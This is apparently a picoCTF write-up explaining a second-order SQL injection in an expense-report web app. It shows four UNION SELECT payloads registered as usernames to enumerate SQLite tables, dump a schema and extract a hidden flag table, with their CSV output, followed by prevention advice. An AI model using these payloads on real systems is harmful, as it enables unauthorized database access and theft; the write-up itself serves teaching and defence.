Challenge Overview

The challenge presents a web application with the following features:

  • User registration (/register)
  • Login/Logout (/login, /logout)
  • Expense management (/expenses)
  • Add expense (description, amount, date)
  • View expenses
  • Delete expenses (/delete_expense)
  • Report generation (/generate_report)
  • Inbox (/inbox)
  • View generated reports
  • Download reports (/download_report)

Downloaded reports are in CSV format, containing:

description, amount, date

Initial Observation

At first glance, no obvious SQL injection point appears in direct user inputs like expense fields.

However, the hint suggests:

"What does order in SQL Injection mean?"

This leads us to consider Second-Order SQL Injection.

Understanding the Vulnerability

A Second-Order SQL Injection occurs when:

  • Malicious input is stored in the database
  • Later used in a query without sanitization

Hypothesis

When generating a report, the backend likely runs a query like:

SELECT description, amount, date FROM expenses WHERE user = '${user}';

The user value comes from the username, which is user-controlled during registration.

Exploitation Steps

Step 1: Confirm Injection

Register with the following username:

a' UNION SELECT 'VULN', 999, '2026-01-01'--

Then:

  1. Login
  2. Generate a report
  3. Download the report

Result

description,amount,date
VULN,999,2026-01-01

Injection successful!

Step 2: Enumerate Tables

Register with:

a' UNION SELECT tbl_name, 0, '2026-01-01' FROM sqlite_master WHERE type='table'--

Output

description,amount,date
aDNyM19uMF9mMTRn,0,2026-01-01
expenses,0,2026-01-01
inbox,0,2026-01-01
reports,0,2026-01-01
sqlite_sequence,0,2026-01-01
users,0,2026-01-01

Suspicious table:

aDNyM19uMF9mMTRn

Step 3: Dump Schema

Register with:

a' UNION SELECT sql, 0, '2026-01-01' FROM sqlite_master WHERE type='table'--

Output

CREATE TABLE aDNyM19uMF9mMTRn (
    name TEXT PRIMARY KEY,
    value TEXT NOT NULL
)

This looks like a key-value store, likely containing sensitive data.

Step 4: Dump Table Contents

Register with:

b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --

Final Output

description,amount,date
flag,picoCTF{...},2026-01-01

🏁 Final Flag

picoCTF{...}
None
Photo by Markus Spiske on Unsplash

Key Takeaways

What Worked

  • Leveraging Second-Order SQL Injection
  • Injecting via username field
  • Exploiting report generation logic

What Failed (By Design)

  • Direct injection in expense fields
  • Report input fields (sanitized)

Security Insight

This vulnerability exists because:

  • User input (username) is stored unsanitized
  • Later used in SQL query without escaping

Prevention

To prevent this:

  • Use prepared statements / parameterized queries
  • Avoid dynamic SQL string concatenation
  • Sanitize stored user inputs before reuse